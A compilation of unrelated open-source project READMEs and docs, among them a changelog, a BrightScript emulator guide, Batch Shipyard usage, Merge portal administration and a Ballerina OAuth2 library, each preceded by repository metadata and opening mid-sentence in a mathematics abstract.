of Wiener amalgam spaces and modulation spaces, as well as the
concept of Banach Gelfand Triples, with the associated kernel
theorem (in the spirit of the L. Schwartz kernel theorem).
We will indicate in which sense these spaces allow to
capture more precisely the mapping properties of operators
which may be unbounded in the Hilbert space setting.
The subfamily of translation and modulation invariant spaces
plays a specific role, with naturally associated regularization
operators involving smoothing by convolution and localization
by pointwise multiplication.

repository: siddhartha-gadgil/DeptWeb

gha_language: HTML

repo_name: siddhartha-gadgil/DeptWeb


text:
# Change Log

## [Unreleased](https://github.com/danielberkompas/ex_twiml/tree/HEAD)

[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v2.1.2...HEAD)

**Merged pull requests:**

- Escape special characters [\#19](https://github.com/danielberkompas/ex_twiml/pull/19) ([gliush](https://github.com/gliush))
- Elixir14 [\#18](https://github.com/danielberkompas/ex_twiml/pull/18) ([joshuafleck](https://github.com/joshuafleck))

## [v2.1.2](https://github.com/danielberkompas/ex_twiml/tree/v2.1.2) (2016-09-16)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v2.1.1...v2.1.2)

## [v2.1.1](https://github.com/danielberkompas/ex_twiml/tree/v2.1.1) (2016-09-16)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v2.1.0...v2.1.1)

**Closed issues:**

- consider validating requests are from twilio [\#15](https://github.com/danielberkompas/ex_twiml/issues/15)

**Merged pull requests:**

- task verb and tests [\#16](https://github.com/danielberkompas/ex_twiml/pull/16) ([matteosister](https://github.com/matteosister))

## [v2.1.0](https://github.com/danielberkompas/ex_twiml/tree/v2.1.0) (2016-01-23)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v2.0.1...v2.1.0)

**Merged pull requests:**

- Support default options for verbs [\#14](https://github.com/danielberkompas/ex_twiml/pull/14) ([danielberkompas](https://github.com/danielberkompas))
- Support variables in verb options [\#13](https://github.com/danielberkompas/ex_twiml/pull/13) ([danielberkompas](https://github.com/danielberkompas))

## [v2.0.1](https://github.com/danielberkompas/ex_twiml/tree/v2.0.1) (2015-12-14)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v2.0.0...v2.0.1)

**Closed issues:**

- Dynamically calling verbs. [\#10](https://github.com/danielberkompas/ex_twiml/issues/10)
- Fix Build Badge & Travis Build [\#6](https://github.com/danielberkompas/ex_twiml/issues/6)

**Merged pull requests:**

- Find reserved name in functions with multiple args [\#12](https://github.com/danielberkompas/ex_twiml/pull/12) ([danielberkompas](https://github.com/danielberkompas))
- Warn about reserved names [\#11](https://github.com/danielberkompas/ex_twiml/pull/11) ([danielberkompas](https://github.com/danielberkompas))

## [v2.0.0](https://github.com/danielberkompas/ex_twiml/tree/v2.0.0) (2015-09-12)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v1.1.3...v2.0.0)

**Closed issues:**

- Using with Phoenix Framework [\#7](https://github.com/danielberkompas/ex_twiml/issues/7)

**Merged pull requests:**

- Clean up utilities module [\#9](https://github.com/danielberkompas/ex_twiml/pull/9) ([danielberkompas](https://github.com/danielberkompas))
- Replace TwiML macros with `Macro.postwalk/2` [\#8](https://github.com/danielberkompas/ex_twiml/pull/8) ([danielberkompas](https://github.com/danielberkompas))

## [v1.1.3](https://github.com/danielberkompas/ex_twiml/tree/v1.1.3) (2015-04-23)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v1.1.2...v1.1.3)

**Merged pull requests:**

- Feature: allow nested verbs without options [\#5](https://github.com/danielberkompas/ex_twiml/pull/5) ([danielberkompas](https://github.com/danielberkompas))

## [v1.1.2](https://github.com/danielberkompas/ex_twiml/tree/v1.1.2) (2015-04-23)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v1.1.1...v1.1.2)

**Fixed bugs:**

- Bugfix: Allow using a variable as only argument to verb [\#4](https://github.com/danielberkompas/ex_twiml/pull/4) ([danielberkompas](https://github.com/danielberkompas))

## [v1.1.1](https://github.com/danielberkompas/ex_twiml/tree/v1.1.1) (2015-04-17)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/v1.1.0...v1.1.1)

**Fixed bugs:**

- Error when interpolating a map property [\#3](https://github.com/danielberkompas/ex_twiml/pull/3) ([danielberkompas](https://github.com/danielberkompas))

## [v1.1.0](https://github.com/danielberkompas/ex_twiml/tree/v1.1.0) (2015-04-12)
[Full Changelog](https://github.com/danielberkompas/ex_twiml/compare/1.0.0...v1.1.0)

**Implemented enhancements:**

- Script to generate releases [\#2](https://github.com/danielberkompas/ex_twiml/pull/2) ([danielberkompas](https://github.com/danielberkompas))
- Add "option" feature [\#1](https://github.com/danielberkompas/ex_twiml/pull/1) ([danielberkompas](https://github.com/danielberkompas))

## [1.0.0](https://github.com/danielberkompas/ex_twiml/tree/1.0.0) (2015-03-10)

\* *This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*

gha_language: Elixir


text:
# budget-tracker-app

![Badge for GitHub repo top language](https://img.shields.io/github/languages/top/breyera/budget-tracker-app?style=flat&logo=appveyor) ![Badge for GitHub last commit](https://img.shields.io/github/last-commit/breyera/budget-tracker-app?style=flat&logo=appveyor)

## Description

Heroku and MongoAtlas deployed app that uses mongodb and mongoose. Keep up with your budget by adding expenses and deposits to the app with or without a connection. Go to the [live site](https://fast-beyond-03402.herokuapp.com/) or follow the steps to see how to use.

## How To

- Go to [live site](https://fast-beyond-03402.herokuapp.com/)
- Enter the name of the transaction
- Enter the amount to add or subtract
- Select add funds or subtract funds depending on the transaction

### Important Links

- [Live site](https://fast-beyond-03402.herokuapp.com/)

### Images

![screeshot of home page](public/images/budget-homepage.PNG)

### License

![badge](https://img.shields.io/badge/license-MIT-brightgreen)
MIT License

repository: breyera/budget-tracker-app

repo_name: breyera/budget-tracker-app


text:
# BRS-Emulator: BrightScript 2D API Emulator
An emulator for the BrightScript 2D API that runs on Chromium based browsers.

## About the Project

As a **BrightScript** developer since 2012, I always wanted a way to test my code without the need of a Roku device, in situations like a long flight or a place without any wireless network available. Then in 2016 I decided to learn about the **[ifDraw2D API](https://developer.roku.com/docs/references/brightscript/interfaces/ifdraw2d.md)** in order to develop games for the platform, so I created a few open source remakes of classic games (see links below at section **Games and Demos**). These projects were very challenging and exciting to develop, but brought me some frustration with it, as very few people outside the USA has access to the Roku platform, so a lot of people could only see [videos of my games](https://www.youtube.com/watch?v=NA59qZk7fQU&list=PLnKUeRkfD6f2JwNfJFiGfUrrg4YVKdcRQ), but never play it.

The development of an emulator for the platform was, to me, a very complex endeavor to start as a _side project_, so I shelved the idea in my _Brain Dump Trello board_, until recently, when I learned about the [**BRS**](https://github.com/sjbarag/brs) open source project, created by [Sean Barag](https://github.com/sjbarag/), that consists of a _command line interpreter_ for **BrightScript**.

This repository is a fork from **BRS** and I keep sending _pull requests_ to the original project, so the interpreter can keep being more powerful and better support the emulator. As [**BRS**](https://github.com/sjbarag/brs) is a command line tool, not all components will be pushed back to it, in particular the UI related ones (roScreen, roCompositor, etc.).

### So can I use this to watch TV without a Roku?

Nope! Both projects, BRS and BRS-EMU, currently has no intention of emulating the Roku OS user interface, integrating with the Roku store, or emulating media content playback.  Although the BRS-EMU project runs channels with user interface, but it will only support 2D API components, see limitations section below for full details on what is out of scope.

## Technology and Compatibility

This emulator is bundled as a **[Webpack](https://webpack.js.org/)** Javascript library that runs as a **[Web Worker](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)** in the browser, and it uses features like [SharedArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) and [OffScreenCanvas](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas), that are _bleeding edge_ in the browser engines implementation, because of that, at this moment, it can only be executed in [Chromium](https://www.chromium.org/Home) based browsers, like [Chrome](https://www.google.com/chrome/), [Brave](https://brave.com/download/), [Opera](https://www.opera.com/) and the new [Edge Insider](https://www.microsoftedgeinsider.com/en-us/download/). The **BrightScript Draw 2D API Emulator** is a full client-side application, nothing is sent or processed in the server side.

## Current Limitations

This emulator is still a **prototype**, this way, there are several features from the **BrightScript** language and components that are not supported, or partially supported, some are planned to be implemented, others will stay as mock objects (for compatibility), and some are considered out of scope of this project. Below is the current list of those limitations:

### In Scope (to be developed/fixed)

*   Usage of **@** to access attributes from `roXMLElements` is not supported.
*   `Goto` statements are not supported.
*   It's not possible to compare `roUniversalControlEvent` to an integer.
*   Single line `if..then..[else]` cannot be nested inside another `if` clause.
*   The global AA (root `m` object) is not accessible from a function called inside a method.
*   The component `roUrlTransfer` is not implemented.
*   Optional parameter `rgba` in `DrawObject()` method partially supported (only alpha opacity).
*   Reserved words like `Mod` cannot be used as variables (Roku does allow that).
*   The `Dim` statement cannot create multi-dimensional arrays.
*   Return `Invalid` from a function explicitly declared as `Object` doesn't work, use `Dynamic` or remove type declaration.
*   Send `Invalid` on a function parameter when it explicitly defines the type, generates an error. If `Invalid` is possible remove type declaration.
*   Audio playback is not supported yet, for now `roAudioPlayer` and `roAudioResource` are mocked.

### In Scope (to be mocked)

*   RAF (Roku Ads Framework) components.

### Out of Scope

*   RSG (Roku SceneGraph) SDK support.
*   Video playback or streaming.
*   SDK 1.0 deprecated components.

## Usage
This repo provides a webpage with a set of JavaScript libraries, download the zip file from the Release page and unzip to a folder.
Althought the emulator is a client application it cannot run as pure HTML page, as some browser functionalities have security restrictions,
so you will need a simple web server to use the application. If your have [Python](https://www.python.org/) installed, just run the commands
below on the root folder of the emulator.

* Linux
    ```
    $ python -m SimpleHTTPServer 8888
    ```

* Windows
    ```
    c:\github\brs-emu> python -m http.server 8888
    ```

Then you can now open your browser at the page `http://localhost:8888/index.html`

### Games and Demos

You can try the emulator by running one of the demonstration channels included in the repository, these are pre-configured as _clickable icons_ on `index.html`. In addition to the icons, the emulator has a button where you can load your own code, either as a single **.brs** file or a channel **.zip package**. You can also load the `.zip` release files of some games, all the files linked below are tested on the emulator and are publicly available with source code.

*   [Prince of Persia for Roku](https://github.com/lvcabral/Prince-of-Persia-Roku) port by Marcelo Lv Cabral - Download [zip file](https://github.com/lvcabral/Prince-of-Persia-Roku/releases/download/v0.15.3700/Prince-of-Persia-Roku-015.zip)
*   [Lode Runner for Roku](https://github.com/lvcabral/Lode-Runner-Roku) remake by Marcelo Lv Cabral - Download [zip file](https://github.com/lvcabral/Lode-Runner-Roku/releases/download/v0.17.700/Lode-Runner-Roku-017.zip)

### Note for BrightScript Developers

You can see the debug messages from `print` statements in your code using the _browser console_, just right click anywhere in the page and select _Inspect (Ctrl+Shift+i)_. Exceptions from the emulator will be shown there too. If your code does show an error in some scenario not listed on the limitations above, feel free to [open an issue](https://github.com/lvcabral/brs-emu/issues) at the project's GitHub repository.

## Building from source
The BRS project follows pretty standard `node` development patterns, with the caveat that it uses `yarn` for dependency management.

### Prerequisites
BRS builds (and runs) in `node`, so you'll need to [install that first](https://nodejs.org).

Once that's ready, install [yarn](https://yarnpkg.com).  Installing it with `npm` is probably the simplest:

```shell
$ npm install -g yarn
```
### Setup
1. Clone this repo:
   ```
   $ git clone https://github.com/lvcabral/brs-emu.git
   ```

2. Install dependencies:
    ```shell
    $ yarn install     # or just `yarn`
    ```

3. Get `brs` onto your `PATH`:
    ``` shell
    $ yarn link
    ```
### The build-test-clean dance
#### Build
This project is written in TypeScript, so it needs to be compiled before it can be executed.  `yarn build` compiles files in `src/` into JavaScript and TypeScript declarations, and puts them in `lib/` and `types/` respectively.

```shell
$ yarn build

$ ls lib/
brsEmu.js

$ ls types/
index.d.ts (and friends)
```
#### Release
To release a smaller library Webpack can create a *minified* version by running `yarn release`.

```shell
$ yarn release

$ ls lib/
brsEmu.min.js
```
If you want to use this release version, remember to update `app/index.js` to use `brsEmu.min.js` instead of `brsEmu.js`.

#### Testing
Tests are written in plain-old JavaScript with [Facebook's Jest](http://facebook.github.io/jest/), and can be run with the `test` target:

```shell
$ yarn test

# tests start running
```

Notes:
* Only test files ending in `.test.js` will be executed by `yarn test`.
* Currently, BRS-EMU tests are not covering all emulation components, and some of BRS tests are failing, this will be fixed, be patient (or help me write the tests).

#### Cleaning
Compiled output in `lib/` and `types/` can be removed with the `clean` target:

```shell
$ yarn clean

$ ls lib/
ls: cannot access 'lib': No such file or directory

$ ls types/
ls: cannot access 'types': No such file or directory
```

#### All Together
Thanks to the [npm-run-all](https://www.npmjs.com/package/npm-run-all) package, it's trivially easy to combine these into a sequence of tasks without relying on shell semantics:

```shell
$ yarn run-s clean build test
```

repository: Romans-I-XVI/brs-emu

repo_name: Romans-I-XVI/brs-emu


text:
UnlmtdCalc
==========

A python application that takes the Value of a Cineworld Unlimited card and then works out if it's worth while you getting one based upon your film choices if it's worth seeing the films individually or worth getting a pass

Plans for the application as a whole:

What Does it Do?
1. How Many films you'd need to go and see in a year to get your money's worth

2. Asks you what films you want to see and then works out if you'd be cheaper off getting a card

3. prints out how much x amount of films will cost you

4. prints out savings from getting a card(based upon a 12 Month Membership) then lets you know how many more films you'd need to see to get money's worth

Future Plans:
API calls, Personalisaton, A menu system, possibility of porting to a mobile platform(Android maybe?), Potentially other cinema apps like Vue and Odeon too

Feel Free to Pull down the app tear apart the code and do what you want with it :)

!/bin/python

 UnlmtdCalc Cinema Film Calculator
 This application takes the value of a Cineworld Unlimited Card and works out depending on what ticket tier you choose:
        _   _       _           _      _  ____      _
       | | | |_ __ | |_ __ ___ | |_ __| |/ ___|__ _| | ___  _
       | | | | '_ \| | '_ ` _ \| __/ _` | |   / _` | |/ __| \\    //
       | |_| | | | | | | | | | | || (_| | |__| (_| | | (__   \\  //
        \___/|_| |_|_|_| |_| |_|\__\__,_|\____\__,_|_|\___|   \\//

        Created By Andrew Gill[z(at)zerosec.co.uk]
        September 2014

What Does it Do?
1. How Many films you'd need to go and see in a year to get your money's worth
2. Asks you what films you want to see and then works out if you'd be cheaper off getting a card
3. prints out how much x amount of films will cost you
4. prints out savings from getting a card(based upon a 12 Month Membership)
Future: API calls, Personalisaton, Potentially other cinema apps like Vue and Odeon too
Changes in 0.02, tell the user how many more films they need to see to get money's worth after cost of films in list
This application is in no way affiliated with Cineworld Cinemas and has been created by Andrew Gill for a learning python project


text:
# Suchoviella I.A. Ignatiev & S.V. Meyen, 1989 GENUS

#### Status
ACCEPTED

#### According to
Interim Register of Marine and Nonmarine Genera

#### Published in
Review of Palaeobotany and Palynology 57: -. [313-339]

#### Original name
null

### Remarks
null

repository: mdoering/backbone

repo_name: mdoering/backbone


text:
---
layout: default
title: reports
header: case reports
---

Reports

These case reports give you insight into the kinds of vulnerabilities we found, the numbers and how we helped to fix them. If you want to be informed on our current research projects, check the CSIRT page.

{% assign pages = site.pages |reverse %}
{% for p in pages %}
{% if p.url contains "/reports/" and p.url != page.url %}

### [{{ p.title}}]({{p.url}})
*{{ p.date }}, by {{ p.author | default: "anonymous" }}*

{{ p.excerpt }}

[Read more]({{p.url}})
{% endif %}
{% endfor %}

repository: kloris/sites

repo_name: kloris/sites


text:
# TechDegree Unit 6 Project - Build a Content Scraper

## Purpose:
* Practice working in Node.js
* Practice finding and working with npm packages.
* Create a web scraper for products from a Treehouse [ecommerce site](http://shirts4mike.com/).
## Note:
* I generated all files from scratch.
## Goals:
* Design web scraper from scratch using [cheerio](https://www.npmjs.com/package/cheerio).
* Go to [ecommerce site](http://shirts4mike.com/shirts.php) as entry point and navigate to all products.
* Grab data and store in CSV file using CSV generator [d3-dsv](https://www.npmjs.com/package/d3-dsv).
* Handle errors appropriately.


text:
### Rescue a single-use product

Single-use products do still get used a lot. In this how-to, we show you in a few steps on how to collect these products, so you are able to import them into the Precious Plastic Universe.

It's also a good way to create awareness and promote your Collection Point if you have one. And by being focused on the collection of one certain product you will increase the value of your recycled plastic.


text:
# Batch Shipyard Usage
This page contains in-depth details on how to use the Batch Shipyard tool.

## shipyard.py Invocation
If you are invoking the script with a python3 interpreter, you can simply
run the script as:

```
./shipyard.py
```

With python2 invoke as:
```
python shipyard.py
```

The `-h` option will list the available options, which are explained below.

## Options
The script requires configuration json files described by the
[previous doc](10-batch-shipyard-configuration.md) to be passed in as
arguments.

Explanation of arguments:
* `--configdir path` can be used instead of the individual config switches
below if all configuration json files are in one directory and named after
their switch. For example, if you have a directory named `config` and under
that directory you have the files `credentials.json`, `config.json`,
`pool.json` and `jobs.json`, then you can use this argument instead of the
following:
  * `--credentials path/to/credentials.json` is required for all actions.
  * `--config path/to/config.json` is required for all actions.
  * `--pool path/to/pool.json` is required for most actions.
  * `--jobs path/to/jobs.json` is required for job-related actions.
* `--filespec jobid:taskid:filename` is to specify the file location to
stream or retrieve for the actions `streamfile` or `gettaskfile` respectively.
If `taskid` is `@FIRSTRUNNING` then the first running task in the job is
retrieved. If the `filespec` argument is not supplied, the script will prompt
for input.
* `--nodeid <compute node id>` is only required for the `delnode` and
`getnodefile` action.
* `-v` is for verbose output
* `-y` is to assume yes for all confirmation prompts

The required positional argument to the script is `action`. Here are a list
of actions and their intended effect:
* `addpool`: creates a pool as specified in the configuration files.
* `addjobs`: adds jobs as specified in the jobs configuration file.
* `addsshuser`: adds an SSH tunnel user as specified in the pool configuration
file. This action is automatically invoked during `addpool` if enabled in the
pool configuration file.
* `cleanmijobs`: perform clean up action on multi-instance Docker tasks.
Because the multi-instance coordination command (i.e, the daemonized
container via `docker run`) is left running even after the multi-instance
task completes (i.e., application command `docker exec`), subsequent tasks
on the same compute nodes may fail on the coordination command due to
resources in use. This will clean up any multi-instance tasks detected within
jobs specified in the jobs configuration file. Note that you can enable
job auto-completion for these tasks via configuration instead of manually
cleaning up these types of jobs.
* `termjobs`: terminate jobs as specified in the jobs configuration file.
* `deljobs`: delete jobs as specified in the jobs configuration file.
* `delcleanmijobs`: delete jobs used to clean up multi-instance jobs.
* `delalljobs`: delete all jobs under the Batch Account.
* `delpool`: delete pool as specified in the pool configuration file.
* `grls`: get remote login settings as specified in the pool configuration
file.
* `streamfile`: stream a file from a live compute node.
* `gettaskfile`: retrieve a file with job id/task id from a live compute node.
* `getnodefile`: retrieve a file with pool id/node id from a live compute node.
* `clearstorage`: clear storage containers as specified in the configuration
files.
* `delstorage`: delete storage containers as specified in the configuration
files.

## Example Invocations
```shell
python shipyard.py --credentials credentials.json --config config.json --pool pool.json addpool

# ... or if all config files are in the current working directory named as above ...

python shipyard.py --configdir . addpool
```
The above invocation will add the pool specified to the Batch account.

```shell
python shipyard.py --credentials credentials.json --config config.json --pool pool.json --jobs jobs.json addjobs

# ... or if all config files are in the current working directory named as above ...

python shipyard.py --configdir . addjobs
```
The above invocation will add the jobs specified to the designated pool.

```shell
python shipyard.py --credentials credentials.json --config config.json --pool pool.json --jobs jobs.json streamfile

# ... or if all config files are in the current working directory named as above ...

python shipyard.py --configdir . streamfile
```
The above invocation will stream a file from a live compute node with
interactive prompts from the script.

## Multi-Instance Tasks
For more information regarding Multi-Instance Tasks and/or MPI jobs using
Batch Shipyard, please see [this page](80-batch-shipyard-multi-instance-tasks.md).

## Current Limitations
Please see [this page](99-current-limitations.md) for current limitations.

## Explore Recipes and Samples
Visit the [recipes directory](../recipes) for different sample Docker
workloads using Azure Batch and Batch Shipyard.

## Need Help?
[Open an issue](https://github.com/Azure/batch-shipyard/issues) on the GitHub
project page.

repository: flabunsky/batch-shipyard

repo_name: flabunsky/batch-shipyard


text:
#digital clock project
A digital clock implementation on an FPGA device.
The clock was testet with a development board "Cyclone V GX Starter Kit" from terasic.
Quartus Prime 15.1 was used as development environment for the FPGA.

## introduction
The implementation use the 50MHz clock from the eval board.
The module clock_divider creates a 1Hz clock for the clock counter.
With 6 BCD counter the module bcd_6digit is a clock counter realised.
For configuration and interact with the clock 3 modules are used. Debounce, key_long_short and clock_sm modules are used for this.
The sevenseg_decoder module converts the binary value to the right number for the seven-segment display.

## operating instructions
*  how to use:
  1.  Switch 0 has to be turn up to enable the clock counter.
  2.  Press key 0 to switch between hour:minute to minute:second and back.
  3.  Press key 0 longer than 0.5 seconds to switch to configuration mode. Configuration number blinks.
  4.  You can count up with key 1.
  5.  To go to the next postion press key 0.
* demonstration video: https://youtu.be/4F-KWqsFQXU

## directory description
* quartus_prime_project: includes all documents to build a design file for the FPGA (*.sof)
* RTL_view: includes all RTL level from the submodules
* sim_sv: all files for testing the submodules
* src_sv: all source files from the submodules

## lessons learned

###	Highlights
* combine the different modules to one toplevel and run the working design on the development board

###	Lowlights
* to simulate, test the toplevel module was hard because the simulation takes a lot of time. Create a one second clock from a 50Hz clock takes much time.

###	Future work
* a short preparation with needs, requirements and a overview of the planned modules (Top Level) is very helpful
* use small modules which are easier to test and verify the functionality

## preparations
A few preparations are always very important. So for this little project the notes and draws are documented in the preparation_draft_digital_clock.pdf.


text:
# django-search-views

This package provides a Django class-based view used for showing a list of objects with a search form.

Think of it as an extension of django's [django.views.generic.list.ListView](https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-display/#django.views.generic.list.ListView) coupled with a [django form](https://docs.djangoproject.com/en/1.10/topics/forms/#the-django-form-class), where the values of the form build a filter on the base queryset.

## Features

- searching multiple fields
- pagination
- set filtering operators
- set fixed filters
- pass in lists as filters

## A quick example.

Let's suppose we want to show a searchable list of actors.

We start with a django model in your `models.py`:

```
class Actor(models.Model):
    name = models.CharField(max_length=32)
    surname = models.CharField(max_length=32)
    age = models.IntegerField()
```

We now build a regular django form for letting our users search our actors with various criteria:
name *or* surname, the *exact* age, the *minimun* age and the *maximum* age.

```
from .models import Actor
from django import forms

class ActorSearchForm(forms.Form):
    search_text =  forms.CharField(
        required = False,
        label='Search name or surname!',
        widget=forms.TextInput(attrs={'placeholder': 'search here!'})
    )

    search_age_exact = forms.IntegerField(
        required = False,
        label='Search age (exact match)!'
    )

    search_age_min = forms.IntegerField(
        required = False,
        label='Min age'
    )

    search_age_max = forms.IntegerField(
      required = False,
      label='Max age'
    )
```

Now, using `django-search-views` API we can:

- define the mapping between the form fields and the model fields, and the lookups
used for searching model instances. This is done by writing a subclass of `search_views.filters.BaseFilter`
- define the actual view based on `search_views.views.SearchListView` class.

```
from .models import Actor
from .forms import ActorSearchForm
from search_views.search import SearchListView
from search_views.filters import BaseFilter

class ActorsFilter(BaseFilter):
    search_fields = {
        'search_text' : ['name', 'surname'],
        'search_age_exact' : { 'operator' : '__exact', 'fields' : ['age'] },
        'search_age_min' : { 'operator' : '__gte', 'fields' : ['age'] },
        'search_age_max' : { 'operator' : '__lte', 'fields' : ['age'] },
    }

class ActorsSearchList(SearchListView):
  # regular django.views.generic.list.ListView configuration
  model = Actor
  paginate_by = 30
  template_name = "actors/actors_list.html"

  # additional configuration for SearchListView
  form_class = ActorSearchForm
  filter_class = ActorsFilter
```

See all the details in the [usage](usage.md) section.

# License and development

This project is MIT licensed and maintained by [Inmagik](https://www.inmagik.com), suggestions and pull requests are welcome via the [Github project page](https://github.com/inmagik/django-search-views/issues).

repository: yzdann/django-search-views

repo_name: yzdann/django-search-views


text:
---
nav:
  path: /hooks
---

# useSafeState

It is exactly the same with `React.useState` , but after the component is unmounted, the `setState` in the asynchronous callback will no longer be executed to avoid memory leakage caused by updating the state after the component is unmounted.

## Examples

### Basic usage

<code src="./demo/demo1.tsx" />

## API

```typescript
const [state, setState] = useSafeState(initialState);
```

repository: alibaba/hooks

repo_name: alibaba/hooks


text:
---
title: "Operation"
linkTitle: "Operation"
description: >
    How to operate a Merge portal
---

## Identity & User Management

A Merge portal has distinct concepts of identities and users. An identity
associates an email address to a set of access credentials. A user account
references an identity and includes the following

- A home directory on the Merge portal file system (MergeFS).
- A set of projects the user is a member of and is authorized to access.
- A set of certificate-based SSH keys for accessing XDCs and experiment nodes.

### Getting Identity Info

Portal administrators can list identities with

```
mrg list ids
```

which will show something like
```
USERNAME    EMAIL                      ADMIN
ry<EMAIL_ADDRESS>               false
ops<EMAIL_ADDRESS>  true
```

### Creating Identities

A new identity can be created through the `mrg` command line tool.

```
mrg register <username> <email> <password>
```

This command is typically called directly by a user to register with a Merge
portal. It may also be used by administrators or project leaders with temporary
passwords for automatic onboarding of team members.

This will create an identity in the system. To create a new user from this
identity, an administrator can do the following.

```
mrg init <username>
```

### Getting User Info

Users can be listed as follows

```
mrg list users
```

Which will show something like

```
USERNAME    NAME    STATE     MODE      UID     GID
ry                  NotSet    Public    1000    1000
```

### Activating Users

When a user account is first created. It is not active, and must be activated by
an administrator.

```
mrg activate <username>
```

When a user is activate, you will see the following from `mrg list users`

```
USERNAME    NAME    STATE     MODE      UID     GID
ry                  Active    Public    1000    1000
```

repository: mergetb/website

repo_name: mergetb/website


text:
qmail-aliasfilter-js [![Build Status](https://travis-ci.org/TimWolla/qmail-aliasfilter-js.png?branch=master)](https://travis-ci.org/TimWolla/qmail-aliasfilter-js)
====================

qmail-aliasfilter filters incoming mail based on valid sender domains encoded into the receiving email address.

Examples
--------

-<EMAIL_ADDRESS>only accepts mail with example.com as sender
-<EMAIL_ADDRESS>only accepts mail with *.example.com as sender
-<EMAIL_ADDRESS>only accepts mail with example.com or example.net as sender

Configuration
-------------

```js
module.exports = {
	mymail: /^mymail-(.*)@/,           // regex to detect your own email address
	                                   // must contain a capturing group for the domainlist
	validIfNotFound: false,            // if true the mail will be accepted in your email address
	                                   // is not in the list of visible recipients
	ccValid: true,                     // if false the email will be rejected if you are only on cc
	multipleFromHandling: "drop",      // "drop" will reject the mail if there are multiple senders
	                                   // "validateAll" will validate every single sender
	                                   // "validateOne" will accept the email if at least one sender
	                                   // is valid
	multipleToHandling: "validateOne", // "validateOne" will accept the email if at least one
	                                   // recipient (To and CC) is valid
	                                   // "validateAll" will validate every single recipient
	logFile: __dirname + '/actions.log'// path to the log file
};
```

You may pass the path to the configuration file via the first command line argument:

```
|/path/to/qmail-aliasfilter /path/to/configuration
```

If the argument is omitted an existing `config.{js, coffee}` inside the same folder as the index.coffee is used.

repository: TimWolla/qmail-aliasfilter-js

repo_name: TimWolla/qmail-aliasfilter-js


text:
Ballerina OAuth2 Library
===================

[![Build](https://github.com/ballerina-platform/module-ballerina-oauth2/actions/workflows/build-timestamped-master.yml/badge.svg)](https://github.com/ballerina-platform/module-ballerina-oauth2/actions/workflows/build-timestamped-master.yml)
[![codecov](https://codecov.io/gh/ballerina-platform/module-ballerina-oauth2/branch/master/graph/badge.svg)](https://codecov.io/gh/ballerina-platform/module-ballerina-oauth2)
[![Trivy](https://github.com/ballerina-platform/module-ballerina-oauth2/actions/workflows/trivy-scan.yml/badge.svg)](https://github.com/ballerina-platform/module-ballerina-oauth2/actions/workflows/trivy-scan.yml)
[![GraalVM Check](https://github.com/ballerina-platform/module-ballerina-oauth2/actions/workflows/build-with-bal-test-graalvm.yml/badge.svg)](https://github.com/ballerina-platform/module-ballerina-oauth2/actions/workflows/build-with-bal-test-graalvm.yml)
[![GitHub Last Commit](https://img.shields.io/github/last-commit/ballerina-platform/module-ballerina-oauth2.svg?label=Last%20Commit)](https://github.com/ballerina-platform/module-ballerina-oauth2/commits/master)
[![GitHub issues](https://img.shields.io/github/issues/ballerina-platform/ballerina-standard-library/module/oauth2.svg?label=Open%20Issues)](https://github.com/ballerina-platform/ballerina-standard-library/labels/module%2Foauth2)

This library provides a framework for interacting with OAuth2 authorization servers as specified in the [RFC 6749](https://datatracker.ietf.org/doc/html/rfc6749) and [RFC 7662](https://datatracker.ietf.org/doc/html/rfc7662).

The OAuth 2.0 authorization framework enables a third-party application to obtain limited access to an HTTP service either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service or by allowing the third-party application to obtain access on its own behalf.

The Ballerina `oauth2` library facilitates auth providers that are to be used by the clients and listeners of different protocol connectors.

### Listener OAuth2 provider

Represents the listener OAuth2 provider, which is used to validate the received credential (access token) by calling the configured OAuth2 introspection endpoint.

### Client OAuth2 provider

Represents the client OAuth2 provider, which is used to generate OAuth2 access tokens using the configured OAuth2 token endpoint configurations. This supports the client credentials grant type, password grant type, and refresh token grant type.

## Issues and projects

Issues and Projects tabs are disabled for this repository as this is part of the Ballerina Standard Library. To report bugs, request new features, start new discussions, view project boards, etc., go to the [Ballerina Standard Library parent repository](https://github.com/ballerina-platform/ballerina-standard-library).

This repository only contains the source code for the module.

## Build from the source

### Set up the prerequisites

1. Download and install Java SE Development Kit (JDK) version 17 (from one of the following locations).

   * [Oracle](https://www.oracle.com/java/technologies/downloads/)

   * [OpenJDK](https://adoptium.net)

        > **Note:** Set the `JAVA_HOME` environment variable to the path name of the directory into which you installed JDK.

2. Export your GitHub Personal Access Token (PAT) with the 'read package' permission as follows:

    ```
    export packageUser=<Username>
    export packagePAT=<Personal Access Token>
    ```

3. Download and install [Docker](https://www.docker.com/).

### Build the source

Execute the commands below to build from the source.

1. To build the package:
    ```
    ./gradlew clean build
    ```
2. To run the tests:
    ```
    ./gradlew clean test
    ```

3. To run a group of tests
    ```
    ./gradlew clean test -Pgroups=<test_group_names>
    ```

4. To build the without the tests:
    ```
    ./gradlew clean build -x test
    ```

5. To debug package implementation:
    ```
    ./gradlew clean build -Pdebug=<port>
    ```

6. To debug with Ballerina language:
    ```
    ./gradlew clean build -PbalJavaDebug=<port>
    ```

7. Publish the generated artifacts to the local Ballerina central repository:
    ```
    ./gradlew clean build -PpublishToLocalCentral=true
    ```

8. Publish the generated artifacts to the Ballerina central repository:
    ```
    ./gradlew clean build -PpublishToCentral=true
    ```

## Contribute to Ballerina

As an open source project, Ballerina welcomes contributions from the community.

For more information, go to the [contribution guidelines](https://github.com/ballerina-platform/ballerina-lang/blob/master/CONTRIBUTING.md).

## Code of conduct

All contributors are encouraged to read the [Ballerina Code of Conduct](https://ballerina.io/code-of-conduct).

## Useful links

* For more information go to the [`oauth2` library](https://lib.ballerina.io/ballerina/oauth2/latest).
